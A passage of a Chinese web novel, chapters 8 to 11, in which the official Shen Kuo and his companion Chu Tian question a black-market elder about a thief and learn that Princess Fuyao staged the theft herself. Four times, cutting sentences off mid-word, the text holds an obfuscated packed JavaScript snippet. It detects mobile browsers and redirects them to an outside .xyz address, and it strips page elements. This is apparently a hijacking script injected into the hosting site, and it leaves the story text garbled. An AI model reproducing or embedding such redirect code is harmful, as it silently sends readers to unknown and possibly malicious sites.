二人镇定自若地走到一间木屋门口，楚恬抬头一看，见门框左侧挂着一个写有“万宝阁”的木牌。楚恬打量了一眼这个破旧不堪的木屋，连门都是两扇朽木拼接而成，整个房屋给人一种摇摇欲坠之感，楚恬担心这房子会不会突然被夜风吹塌的同时，又委实好奇这破屋中能有什么宝贝。 “吱呀”一声，沈阔用刀把顶开了门，楚恬进去的时候还顺手扶了一把门，生怕它散架。 进门后，入眼之处一团糟，这里哪里是什么万宝阁，分明就是废物聚居地。屋中堆满了乱七八糟的东西，连毛驴拉的石磨都有。 楚恬勉强寻了个空地站着，而沈阔则一脚踢开了挡路的蹴鞠，环顾四周后，用刀柄叩了叩满是灰尘的柜台。 沈阔一直敲了很久才等来了回应。 “来了！”一年过六旬的老头掀起帘子从后面钻了出来，不耐烦地喊道，“催什么催！” “催命！”沈阔冷声回道。 来人姓陈名太宫，别看他白发苍苍且邋里邋遢，却是黑市的元老之一，黑市上的所有动向都逃不过他的耳目。 陈太宫愣了一瞬，没好气地瞪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852964|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈阔一眼，转头又问楚恬：“买什么？” 沈阔仍旧不信这地方能拿出什么好东西来，但他还是耐着性子回道：“在下听闻梁上飞最近得了一批宝物，特来问个价。” 陈太宫微怔，“梁上飞？我可许久都不曾见过他了，他得什么宝贝了？” 楚恬知道对方在装傻，于是从腰间摸出了一块金锭放在柜台上，“陈老可别骗我，整个京城都传开了，有人从扶摇公主府盗走了稀世珍宝，试问整个京城，除了梁上飞有这个本事外，还有谁能从戒备森严的公主府全身而退？” 陈太宫脸上的寒霜瞬间化开，他拾起金锭摸了又摸，之后又咬了一口，确认是真的后才揣进了怀里，“公子是个实在人，那我也同公子讲句实在话，京中传言不可全信，朝廷那些酒囊饭袋，每次碰到侦破不了的案子就把罪责往我黑市栽赃，这些年，黑市可是替他们背了不少的黑锅。这次啊，指不定又是那姓沈的抛出来的幌子，想找个由头将我等一网打尽罢了。” 姓沈的？他说的是沈阔吗？楚恬疑惑。 听这语气，貌似怨气还不小，怪不得沈阔不愿露面。 “陈老，我是带着诚意来的。”楚恬又拿出了一锭金子，“都说梁上飞盗走的正是当年句兰国王子送给扶摇公主的聘礼。” “你是说那尊冰晶无量佛像？” “正是，那尊无量佛乃西域天池的冰晶化成初像，后经句兰国师修饰开光后便一直供奉于句兰国的瑶台寺，直至八年前才与句兰国王子一同入京。”楚恬道，“那尊佛像可谓世上所有佛像之最，很多人都想拥有，家父亦然，半月前偶然得知神偷梁上飞偷出了那尊佛像，便命在下前来求之，至于价钱嘛，都好商量。” 楚恬的谎言编得滴水不漏，言辞亦是十分地恳切，就连沈阔都信了三分，可那陈太宫却是一个字都不相信。 “绝无可能。”陈太宫斩钉截铁地否认道。 “你为何这般笃定？”沈阔忍不住开口询问道。 陈太宫哼了一声，坚持道：“梁上飞已经失踪了个把月了，即便那尊佛像被盗，也不可能是出自他之手。” “梁上飞失踪了？”这个消息倒是令楚恬和沈阔感到意外，但不排除是陈太宫骗他们的。 “那陈老可知除了梁上飞以外，还有谁能从公主府盗出此宝？”楚恬又问。 “那我便不知了。”陈太宫哼笑一声后看向了楚恬身后的沈阔，“这拙劣的手段一次可行，怎么还想来第二次，真当我们黑市的人都是傻子不成？” 楚恬正不明所以之时，就听陈太宫对沈阔道：“你说呢，沈大人？一年前，你和东宫便以我们与苗三圃暗通款曲为由荡平了我们的居所，如今我们皆已夹着尾巴做人，怎的东宫那边还不满意，非要将我等赶尽杀绝不成？” “陈老慧眼，但沈某好奇，你是如何认出我来的？”沈阔不装了，直接摘了面具，而楚恬则自然地退到了沈阔身后。 陈太宫直言不讳道：“沈大人的身段可是深深刻在了我心上，随便你如何伪装，我一眼便能将你认出来。更何况——” 陈太宫拿出那两锭金子，指着背面的凹痕对二人道：“我虽然老了，但还没有老糊涂，这记号是国库独有的标记，沈大人这是逗我玩儿来了？” 闻言，楚恬懵了，他不可置信地看着沈阔。 此刻的沈阔觉得自己像极了跳梁小丑，他窘迫得只想找个地洞钻进去。他来黑市之前去了趟东宫，离开前问太子要了点钱，太子也没问他要做什么，顺手给了他一袋，而沈阔只确认了数量，并未仔细检查。 8. 第 8 章 “既然你认出了我，那我也就不绕弯子了。”沈阔将刀放在柜台上，状若不经意地用指腹摩着缠绕在刀柄上的红绸，“梁上飞到底在哪儿？” 沈阔的威胁之意溢于言表，但陈太宫却不甚在意，他再次强硬地表示：“梁上飞失踪了，生死不知，沈大人若执意要找他，大可去阎罗殿问问，兴许可以找到他的魂。” “陈坊正，你应知道本官的脾性，本官既然来了，就绝不会空手而归。” 坊正是官府对陈太宫这位黑市管理者的谑称。 闻言，陈太宫脸倏地黑了，“沈大人的意思是想动武了？” 陈太宫也不惧沈阔，他声音落下时，便有四个身形威猛的武士拿着狼牙锤掀帘躬身走了出来。 沈阔随即握紧了掌下的刀。 两方凛然对峙着，打斗一触即发。 楚恬以前也只是在别人口中听过沈阔的战绩，但这里到底是别人的地盘，两人又没有带援兵，若真动起手来，沈阔还得分神顾及自己这个拖油瓶，并一定能讨得了好。 “大人！”楚恬见状赶紧上前按住了沈阔的手，又转头对陈太宫道，“陈老息怒，我们并非是来挑事的，只因公主府上确实丢了不少的珍宝，我们才查到了此处，楚某从您的言辞中能够听出来，您对黑市倾注了全部精力和心血，也满心希望能够保住黑市，可您的所为偏偏又与心中所愿背道而驰。” “你跟一个乡野莽夫说这些，他都不一定能听得懂。”沈阔不屑地在一旁添油加醋。 楚恬见陈太宫好不容易有所松动的神情又因他这一句话黑了脸，下意识地回头瞪了沈阔一眼。 这猝不及防地一瞪把沈阔整愣住了，他也就忘了接下来要说的话。 楚恬转头继续安抚起了陈太宫，“虽说黑市没有那么多的规矩，可陈老既能在黑市上屹立数十年而不倒，想来也是个明理之人，否则别人又为何以您为尊呢？” 楚恬的话还真说到了陈太宫的心坎上，虽说黑市见不得光，可于他们来说却是避风之港，他不想将这里变成废墟，但若有人执意来犯，他也不是个怕事儿的人。 “这位小兄弟说的话——”陈太宫瞥了眼沈阔，“比狗叫声悦耳多了。” 沈阔面色一沉，冷若数九寒天降下的冰霜，但他看出陈太宫有意配合的态度后，倒也没有再去计较。 陈太宫绕至柜台后面，挥手屏去了武士，又不耐烦地推了推沈阔的刀，问两人公主府到底丢了些什么东西。 沈阔见状抱起刀懒懒地靠在柜台上，朝楚恬点了点头。得了应允的楚恬这才据实以告。 随即，陈太宫带二人找到了黑市上最大的销赃贩子，可经过一番询问，得知梁上飞最近并未与他有过联系。 “说来，我已有个把月没有见着他了。”那人如是道。 “梁上飞向来神出鬼没，平时寻不着人影也没甚奇怪的。”旁人附和道，“只是这次太过离奇了些。” “何以见得？”沈阔问道。 “上次我们一起吃酒时，他跟我提过一嘴，说是有人花大价钱让他去公主府上偷件东西，自那以后，我便再也没有见过他了。” “上次具体是什么时候？”沈阔隐隐觉得这其中暗藏端倪。 那人思考了一会儿后，答道：“一个半月以前。” “知道他是受何人指使的吗？”沈阔又问。 那人摇了摇头。 “哦对了，还有一件奇怪的事情。”那人突然道，“就在梁上飞离开后没几天，便有一人来黑市寻他，我猜那人极有可能就是他的上家。” 沈阔默然片刻，又盘问了几人，确认梁上飞确实没有再回来过。 线索中断，案情陷入了僵局之中，这桩看似简单的盗窃案好像隐藏着巨大的阴谋。 “走吧，回去了。”沈阔淡声道。 楚恬点了点头，转身朝着陈太宫行礼告辞。 陈太宫对这个彬彬有礼的少年非常地中意，“楚小弟留下来可好？我们这里虽不比不上官家大院，却总比与人为奴要好得多。何况朝官皆是玲珑心，表里不一，你这般单纯良善之人最容易遭人欺骗了，届时他们弃你如敝履，那你可就落入万劫不复之地了。” 楚恬看了眼沈阔，淡笑道：“多谢陈老好意，但我觉得，现在这样就很好。” 陈太宫仍不死心，再次劝道：“不急，楚小弟再仔细考虑考虑，若哪天想通了，可随时来找我，黑市的大门永远向你敞开。” “陈老头，你的胆子倒是愈发地大了！”沈阔蹙眉上前抓起楚恬的手腕将他拽到了身后，“都敢公然与本官抢起人来了！” “沈大人这话说的，人家楚公子虽是奴籍，却未曾卖身于你。”陈太宫毫不畏惧地回呛着沈阔，“他想去何处是他的自由，你有何权干涉？” 眼看着两人又要呛起来，楚恬赶紧拉着沈阔离开。 而两人身后，陈太宫还在大声嚷嚷着：“楚小弟，欢迎你再来啊。再于另外一位嘛，老朽可再不想看见他了。” 沈阔气得顶起了腮，他一年前就该一刀劈了陈太宫。 “陈太宫对您的偏见很大。”楚恬道，“虽说黑市上的人厌恶官府中人没什么奇怪的，可我觉得他讨厌您的程度远高于别的官员，您和他之间曾经发生过什么吗？” 楚恬问完才反应过来自己越界了，他想挽回，可沈阔却开口解释了起来。 “最初建立黑市者共有四人，分别是陈太宫、阚勇、赵冲和韦敏昌。有人的地方就免不了勾心斗角，争权夺势，黑市亦然。陈太宫原是军中的百夫长，受伤后解甲归田，但当地克扣了他的恩恤，陈太宫四处求告无门，当地官员更是变本加历地欺负他们一家老小，最后连基本的生计都难以维持，他这才与人创建了黑市。” “但陈太宫本性不坏，即便在黑市中也是以德服人，所以他的追随者占多数，这就导致韦敏昌等人心生不服，为了扳倒陈太宫，韦敏昌勾结苗三圃做尽了伤天害理之事，所以我便找到陈太宫想与他联手铲除败类，奈何韦敏昌拒绝投降，并煽动黑市上的人与官府相抗，他们的行为彻底激怒了太子，殿下命我不惜一切代价将韦敏昌等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852965|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人缉拿归案，这打来打去，黑市便遭了殃，从那此后，陈太宫便记恨上了我，说我欺骗了他，但我也没有选择的余地，凡是交战就没有真正的赢家，与韦敏昌的那场混战中，我更是折损了好几员得力干将。” “黑市上的人再怎么不好对付，但终究不是锦衣卫的对手，那时的黑市已然是日薄西山之状，大人却没有将其一网打尽，而是给他们留了一丝喘I息的机会，否则黑市也不可能在这么短的时间内便死灰复燃。” “你为什么会觉得是我放了他们一条生路？”沈阔讶然，“就连陈太宫都不知道，你一个局外人又是如何猜出来的？” 楚恬则道：“陈太宫未必不清楚大人的好意，只是碍于曾经受过官府的压迫，不愿意承认并接受大人的好意罢了。” “大人应该向陈太宫解释清楚的，但您不说自有您的道理，陈太宫是个憎恶分明之人，您怕说了之后，他会背负上感激您和憎恨朝廷的双重压力，与其那般消耗自己，还不如让他简单地恨着。”末了，楚恬又感叹了一句，“大人果真是个心善的人。” 被窥探到心底深处的沈阔感觉到了些许的不自在，可同时他又有一丝丝的欣喜。 他偏头看向楚恬，许是回程的步伐走得太快，楚恬的鼻尖上冒出了细密的汗珠，他的呼吸声也跟着急促了些。 银色的光辉如幕布般铺撒在人间，勾勒出楚恬精美的半张轮廓，沈阔看到的那的瞬间，似乎连耳边的风都变得无声了。 梆子声隔着几个巷道悠然传来，伴着楚恬起伏的呼吸声，沈阔只觉得脑子都停止了转动。 要是别人夸他心善，他还要想想对方是不是在讽刺他，可这话从楚恬的嘴里说出来却是那么的自然，他的神情写满了真切，使得沈阔狠不下心再去猜度。 “但我倒觉得大人应该同陈太宫讲清楚的。”楚恬又道，“坦诚相待，才是解决问题的最佳方法。” “你......”沈阔忽然觉得有些口渴，他的脑中一片混沌，不知该如何接楚恬的话，“你这窥人心思的伎俩都是从哪儿学来的？弄春楼？” 闻言，楚恬顿时便静默了下来。 “你想要什么尽管直说。”沈阔敛了神色，正经道，“不必费尽心思来恭维我，你在弄春楼学的那一套，在我这里不顶用。” 楚恬清亮的眸色慢慢黯淡了下去，霎时间，他的心揪作了一团。 原来，在沈阔的眼中，他到底还是个上不了台面的倌人，一句夸赞和开导都会让沈阔感到不适。 “我什么也不想要。”楚恬掐着手心，尽量不让自己的情绪流露在脸上。 沈阔偏头看向别处，“若是哪天想好了要什么，尽管我告诉我。” “无论我想要什么？”楚恬抬头去看沈阔，可沈阔却一直看着它处，连一个眼神都懒得给他，“大人都会满足我么？” 沈阔沉默了一瞬，回道：“只要是不违背我的原则，皆可。” “我知道了。”楚恬淡声道，“多谢大人。” “......嗯。”沈阔轻轻应了一声。 9. 第 9 章 沈阔和楚恬回到提刑司时，天刚微亮，府上的仆人皆已有条不紊地忙活了起来，撒水扫地，将整个司衙打扫得很是亮堂，且灶房那边也已升起了袅袅青烟。 “大人，您终于回来了。”听到仆人问安的声音后，原本还在正厅中打盹儿的柳青立刻起身朝二人冲了过去，“如何，探查到线索了吗？” “没有。”沈阔淡声回道。 见二人神色各异，柳青开始大胆猜测，“难道让梁上飞给跑了？”除此之外，他实在是想不到还有什么能让向来镇定自若的沈阔生出这么大的怨气。 没等到回应的柳青，又转身走向了楚恬，楚恬却只是愣站着一句话也不说。 “你们别不说话啊，急死我了。”柳青跺了跺脚。 “没有找到梁上飞，暂时还不能确定他是不是那个盗贼。”楚恬嘴上回答着柳青的疑问，可眼睛自始至终都在盯着沈阔。 “哦，这样啊。”柳青总算是平静下来了。 沈阔径自朝着正厅行去，走到檐下时，他解下身上的斗篷顺手递给了一旁候着的云儿。接着，他犹豫了一瞬，最终还是在跨过门槛前回头对楚恬道：“辛苦一晚了，回去补个觉吧。” 楚恬抬起的脚一顿，沉默半晌后才想起来回应，“是。” “你也先回去——”沈阔在厅中坐下，顺手接过云儿递来的清茶。 “谢大人！”柳青开心地挠着耳根，“属下也是一夜没睡，这便回去补个回笼觉。” 柳青说话间已经朝沈阔行起了谢礼，可当他抬起头时，才发现沈阔用看傻子的眼神看着他。 “你在想什么呢？”沈阔嫌弃地扫了柳青一眼，“我是让你先回去洗把脸，把下巴上的胡子刮干净之后再过来。” “哦。”柳青讪笑着摸了摸下巴，还真有点儿扎手了，“属下这就去。” 沈阔看着如风一般跑开的柳青，无奈地摇起了头。 沈阔独自在厅中静坐了一会儿后，也回房沐了浴换了衣，当他从房中出来时，熹微已给天边的薄云渡上了一层金辉。 沈阔不自觉地朝厢房看了一眼，他在院中伫立了一片刻，心中思忖着还是不要让楚恬插手案件了。 可他转念又想，楚恬的年纪虽是小了些，可人却灵性得很，昨夜要不是他从中斡旋的话，自己与陈太宫定然免不了一战。 楚恬这人话少，不像柳青总是叽叽喳喳地，聒噪得很，而且楚恬更聪慧，一点就通，好几次他都能清楚地洞察到沈阔心底的想法，反观柳青，纯粹就是个榆木疙瘩，很多时候他磨破了嘴皮子，柳青也不一定能够听得明白。 那还是将楚恬带上？ 沈阔心中还在犹疑，但他脚尖已不自禁地转向了厢房那边。他站在门外，敲了两下门扉，却并未得到回应。 难道是还没睡醒？ 沈阔折身走下台阶，正好碰见了前来唤他用膳的云儿。 “大人是在找小楚吗？”云儿贴心地询问。 “小楚？”沈阔愣了一瞬，随即道，“也没甚要紧事，让他再睡会儿。” 云儿却是一脸地疑惑：“可是小楚他不在房间里面。” “他去哪儿了？” 云儿指了指隔壁院子，那里是下人们吃住的地方，“他在那边吃饭。” 沈阔默了一瞬，然后便朝隔壁走去，他问云儿，“这些日子他一直同你们一起吃饭么？” 云儿点了点头，“是，原本他还打算搬过去与陈伯他们同住的，但是那边的通铺已经满了，实在是挤不下了。” 说话间，二人已经走到了下房门外，虽然都属提刑司，可这里的环境却要差得多，云儿见沈阔停下了脚步，于是赶忙道：“大人，奴婢去叫小楚出来。” “不必。”沈阔拦下云儿，径自朝着里面行去。 自沈阔掌辖提刑司这一年来，从来都是卧房、书房和正厅这三点一线，所以当他一身华服出现在下房门外时，众人都惊得愣住了。 “大，大人——”还是陈伯率先反应了过来，他赶紧放下碗迎上前拜道。 “参见大人！”其余人纷纷向沈阔行起了拜礼，包括楚恬。 沈阔一眼就看到了坐在八仙桌角处的楚恬，然后朝他招了招手，“随我来一下。” 还没来得及吃上一口饭的楚恬只好乖乖跟上。 “大人请吩咐。” “不是让你补觉么？”沈阔回头看着楚恬。 楚恬垂下头，轻声回道：“我不困。” “那正好。”沈阔道，“跟我一起去查案。” 楚恬的眸色忽地又亮了起来，他极力压抑着从心底涌起来的开心，面不改色地回了句，“是。” 沈阔将楚恬带到了正厅，他在主位上坐下后，发现楚恬仍旧站在门口一动未动。 沈阔指了指左侧的位子，但楚恬却一脸茫然地回看着沈阔。 “坐下，吃饭。”沈阔难得这般耐心，“我看你刚才也没吃几口，不吃饭又怎么有力气查案？” “可我，只是一个下人，怎能与大人您同桌而食呢！” “谁说你是下人？”沈阔反问，“你与谁签的书契？” 楚恬愣了，他确实没有与任何人签订书契，他也没有月钱，他在提刑司相当于是白吃白住。 ......也不完全算是，他每天都在尽心尽力为沈阔打扫着书房和卧房，而且为了能对起得他在这里的花销，他每天打扫得可卖力了，绝不放过一处死角。 “赶紧过来。”沈阔又喊了一声，而且楚恬听得出来，沈阔的语气已经逐渐变得不耐烦了。 “是。”楚恬坐下的时候，云儿已去取碗筷过来。 楚恬有些不好意思地看着云儿，但云儿却冲他眨了眨眼睛，并用唇语劝他安心吃饭。 楚恬的胃不好，所以他习惯嚼很多次才咽下，可今天，他拘谨得连嚼都忘了，直接囫囵吞下了好几根青菜。 而武将出身的沈阔吃饭虽算不上狼吞虎咽，却也是暴风般的吸入，未消半刻，他便放下了碗筷。 眼观四路耳听八方的楚恬也赶紧放下碗筷，并在沈阔开口前先说道：“大人，我吃饱了。” 沈阔自是注意到了楚恬小鸟啄食般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852966|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的模样，但他也没有多说什么。 接着，沈阔起身，楚恬亦赶忙站了起来，沈阔大步流星地走到院子中央，楚恬见状也小跑着跟了上去，反正就是无论沈阔迈向何方，楚恬都是离他两步之遥亦步亦趋地跟着。 沈阔突然想逗一逗楚恬，于是他径自朝着茅房走去，而楚恬一直傻傻地跟到了茅房门口都还没有反应过来。 “我来解手，你也要跟着？”沈阔嘴角噙着一抹轻笑，见楚恬瞬间羞红了脸，沈阔仍不打算放过他，“一起？” “不，不了大人。”楚恬结结巴巴地回了一句后立刻跑开了。 等沈阔重新返回院中的时候，楚恬的脸仍是红彤彤的。 “你咋了？”沈阔靠近时，柳青正围在楚恬身边。 楚恬的脸在看到沈阔的那一刻，又染上了一缕绯红，他左右躲闪着柳青的打量，并唤了一声“大人”试图转移柳青注意力。 柳青确实从楚恬身边走开了，但不明就里的他一边指着楚恬，一边哈哈大笑地对沈阔道：“大人，小楚不知道是怎么了，那脸红得跟猴屁股一样。” 沈阔随着柳青的手再次看向了楚恬，该说不说，养在“深闺”里的人就是要比他们这些常年经受风吹日晒的人耐看得多，楚恬虽然瘦削，但他的肌肤却是非常的细嫩，白皙的脸蛋上透着一丢丢绯色，像熟透了的樱桃。 “你也不瞅瞅自己那与黑炭无异的脸，竟还好意思笑话别人。”这应该是沈阔第一次帮腔。 柳青用自己粗糙的手抹了把脸，未将沈阔的话放在心上。 “大人是要去哪儿吗？”柳青见沈阔朝大门的方向走去，便同楚恬一起跟了上去。 沈阔扫了柳青一眼，而一旁的楚恬将他想回答又不想开口的神态尽收眼底。 “大人这是要去公主府？” 沈阔眉尾一挑，即便他没有出声，柳青也能从他的沉默中读出楚恬这是猜对了的意思。 柳青暗戳戳地朝楚恬竖起了大拇指。 “可我们一点儿线索都没查到，现在去公主府不是纯找骂么？”柳青道。 楚恬也是不解，他问沈阔：“大人是想重新询问目击者？” 沈阔眼眸一亮，示意楚恬继续说下去。 但楚恬却觉得这个法子起不了什么作用，“公主府的守卫都是百里挑一的精英良将，他们的洞察力和记忆力非是普通士卒能比的，所以我认为他们的证言不会有太大的出入，想从这里找到突破口怕是有些难。” 楚恬虽然没有猜出沈阔的真正意图，可在沈阔看来，他已分析出了十之八九。 “上车说。”沈阔对楚恬道。 楚恬点了点头，而察觉到被丢下的柳青用食指反指着自己鼻尖，不可置信地看着沈阔，“那属下呢？” “你去京兆府查查最近两个月入京的人员，看有无可疑之处。”沈阔道，“再顺藤摸瓜查一查他们的动向。” “两个月啊？”柳青惊了，竖起的食指和中指久久不愿放下。 而后，他又认命般地耷拉下了脑袋，朝沈阔一抱拳，“属下这就去办。” 10. 第 10 章 “我将案情重新梳理了一遍后，突然想明白了很多问题。”沈阔依旧坐在正对车门的位置上，他背靠软榻双腿岔开，正襟危坐。 “首先我们可以排除有人欲谋害公主这个猜测。”沈阔道，“而且你之前的分析是对的，一个惯偷在得手之后理应立刻逃离现场，而不是横穿半个院子在主人面前暴露自己的踪迹，况且梁上飞是受人之托去公主府偷东西的，就更不可能将自己曝于危险之中。” 楚恬有个不好的习惯，便是一坐上马车脑袋就开始变得昏沉起来，像是生锈了般转不动，一心只想睡觉。 但沈阔与他聊的，正是他感兴趣的案情，他倒也能强迫自己不会睡着，奈何实在是控制不住那双无力的眼皮。 “但是公主的府卫不可能说谎。”楚恬忍不住打了个哈欠。 “他们是不敢。但——”沈阔话音一转，楚恬脑中突然炸开了一朵火花，人也跟着清醒了几分。 “大人的意思是......”楚恬看着沈阔没说把话说完。 “你还记得黑市的人说有人花了大价钱让梁上飞去公主府偷东西这事儿么？”沈阔问楚恬。 楚恬点头道：“自然记得。” “可当初公主找到我时，只说丢了些珠翠，虽说其中有一支凤钗是她大婚时皇后娘娘送的，价值不菲，但也不可能让人喜欢到雇梁上飞去偷的地步。”沈阔道，“梁上飞之所以有如此大的名气，正是因为他从未失过手，更别说被抓到了。而且像他这种人，或多或少都带点儿傲气，要想请他帮忙办事，非是几锭金饼就能成功说服的。有可能，给他的酬金都要比公主丢的那些东西贵上好几倍。” “可公主为什么要说谎呢？”楚恬百思不得其解。 沈阔亦是想不通这一点，所以他才决定亲自去公主府问上一问。 “大人觉得，这次公主会说实话么？”楚恬问沈阔。 沈阔道：“那就看公主编的谎话能不能把我们骗过去了。” 马车在公主府门前稳稳停下，门口的值卫看到是沈阔，连通报都没有便直接放两人进了府。 “上次来的时候我便好奇，觉着大人和公主之间不像是简单的君臣关系。”自从沈阔好几次鼓励楚恬大胆提问大胆说之后，楚恬的胆子也逐渐变得大了起来，竟也有勇气打探起主子间的私事了。 “幼时，我是太子伴读，但彼时的太子太过淘气，闯了不少的祸也挨了不少的打，而我自然也免不了责罚，每当那个时候，扶摇公主总是会不经意地出现，然后将我们从陛下手底下救出来。”三人的关系世人皆知，沈阔也没必要隐瞒，“我和太子是扶摇公主护着长大的，所以于我来说，公主于我，不只是君臣，更是姐弟。” 寥寥几语，让楚恬心中生出艳羡的同时，也让他想起了还被拘在弄出楼的红姐和平安，若非他们二人暗中相助，他是无论如何也逃不出来的。 算了下日子，他已有一个多月没有见着他们了。红姐倒还好，这么多年来她忍辱负重终于得到了尤二娘的信任和器重，至少她现在不会再像以前那样挨欺负了，可平安却不同，他做事毛躁，经常惹尤二娘生气，楚恬在的时候，还能帮着打圆场善后，现在他离开了，也不知平安过得怎么样。 “想什么呢？”沈阔发现楚恬总是失神，也不知在想些什么。 回过神来的楚恬微微笑着朝沈阔摇了摇头。 沈阔心中微微有些不快，明明楚恬问他什么，他都如实相告了，但当他问起楚恬的时候，楚恬却是什么也不肯说。 但沈阔又不能将这种不悦表现出来，不然显得他多小气似的。 “沈大人，今儿个可有好消息带给本宫？”祁萱摇着团扇慢慢悠悠地走进了屋中。 沈阔和楚恬朝扶摇公主行了拜礼，前者正要开口时，祁萱扫了眼两人的神色后，自顾叹气道：“看来本宫又要空欢喜一场了。” 言罢，祁萱坐上软榻，曲起手肘撑在几上慵懒地托着侧脸，她用执着团扇的手指了指下方的椅子，对二人道：“说吧，找本宫何事？” 沈阔坐下后与站在斜后方的楚恬交换了一个眼色，前者顿了片刻，随即将自己梳理案情时产生的疑惑一一问了出来。 “殿下，您丢的当真只是珠钗么？”沈阔直截了当地问道。 祁萱没有料到沈阔查到了这么多线索，她不再像初时那般淡然，而是慢慢坐直了身子。 “还请殿下不要再把臣当猴耍了。”沈阔又道。 祁萱知道这事糊弄不过去了，而且沈阔和楚恬都不是轻易就能哄骗过去的人，于是在沉默了半晌后终于道出了实情。 “其实，本宫并未丢失任何东西。”向来自若的祁萱竟难为情了起来，“而且那偷东西之人也不是你们口中的梁上飞。” 前一句，在沈阔的意料之中，但沈阔仍是不解，他问祁萱：“殿下认识梁上飞，否则您为何如此确定那人不是梁上飞？” 祁萱回道：“本宫并不认识梁上飞，但本宫认识那日坐在墙头上的人。” “他是谁？” 祁萱叹息了一声，才道：“他叫宇文牧。” “宇文牧？”沈阔喃喃重复了一遍这个从未听闻过的名字。 “你当然不认识他。”祁萱道，“他只是民间一普普通通的游侠罢了。这事还得从四年前说起，也就是永平十三年冬月，本宫前往玉隐峰为父皇、母后和母妃祈福，却在回京途中遭遇劫匪，就在本宫命悬一线之时，是他突然出现救了本宫一命，并带着本宫在林中躲藏了好几日。” 这件事情沈阔知道，但他却从未听祁萱提起过救她之人，“当时您被吓得不轻，太子不愿让您陷入惊惧的回忆里，才叮嘱臣不要再追问下去，没想到竟然还藏着这样一桩往事。” “说起来不怕你和太子笑话，那几日我与他互生情愫，过了几日平凡夫妻才有的神仙日子。可后来当他知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852967|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓我的身份后，便选择了不告而别，这一别，就是整整四年。这四年里，我命人四处打探才寻到了他的踪迹，可他始终不愿舍弃自由不羁的生活与我长伴深宫之中，一个月前，他悄悄潜进了府中向我辞行，可我实在是不愿放手，于是才编造出了这么一桩谎言，原想着待你抓到他后我便去救他，好让他念着这点儿情留在我身边，哪怕只有几天，我也心满意足了。” 祁萱埋首轻轻擦了眼角的泪水，再抬起头时，她又强颜欢笑道：“其实我早知道我与他不会有好结果，只是我一直都不愿承认。因为我不甘心，想我乃大庆国的公主，万金之躯，竟然比不上他心中所谓的广阔天地。” “一个不值一提的凡夫俗子，怎能与殿下相配？”沈阔听后，为祁萱不平道，“殿下犯不着为这种薄情之人伤心。” “是啊。”祁萱长长地叹了一口气，“所以我想通了，定是今生我与他有缘无分，再怎么强求也是徒劳。” “青云，这事是因为我的执念而惹出的一场闹剧，这些日子给你添麻烦了。”祁萱道，“是我被感情冲昏了头，没有考虑到后果，更是没想到你为了此事竟然查到了黑市上。幸好，你毫发未损地回来了。” “至于你说梁上飞受人指使到我府上偷东西一事，我对此是全然不知，况且我府上也没有什么宝物值得他们如此大费周章来盗取。” “殿下忘了您府上的那尊无量佛像？”沈阔道。 祁萱恍然，“若是为了佛像，倒也说得通了。” “为免伤及殿下，臣觉得还是将那尊佛像请去别处供奉为好。”沈阔道。 祁萱思忖片刻后同意了沈阔的建议，“过两日我去找太子，看能否将佛像请到我原来所住的宫殿供奉。” “这样最好。”沈阔道，“臣也想看看那些人究竟有何等滔天的本事将佛像从宫中盗走。” “大人相信公主说的话？”从公主府出来后，楚恬问沈阔。 “你在怀疑什么？”沈阔不答反问，“你觉得公主刚才是在编故事骗我？” 楚恬摇了摇头，“公主谈起宇文牧的时候，确是真情流露，不像是在撒谎。” “但我总觉得哪里有些不对。”楚恬想了许久也没有想明白，他甩了甩头，“可能是我想多了。” “你确实是想多了。”沈阔道，“今日我见你总是心神不宁，说吧，到底是为了什么？” 楚恬沉默了片刻，还是道出了实情，“我很担心平安。” “平安？”沈阔很快想了起来，“那小子有股子聪明劲儿，当初便是他故意将我引到地牢门口的。” “所以我才怕尤二娘将气全撒在他的身上。” “想去看看他吗？”沈阔垂眸看着楚恬。 楚恬惊喜道：“可以吗？” 沈阔轻笑道：“为什么不可以？我又没有限制你的自由。” “谢大人！”楚恬激动得按住了沈阔的手背。 11. 第 11 章 “哈哈哈哈哈！” 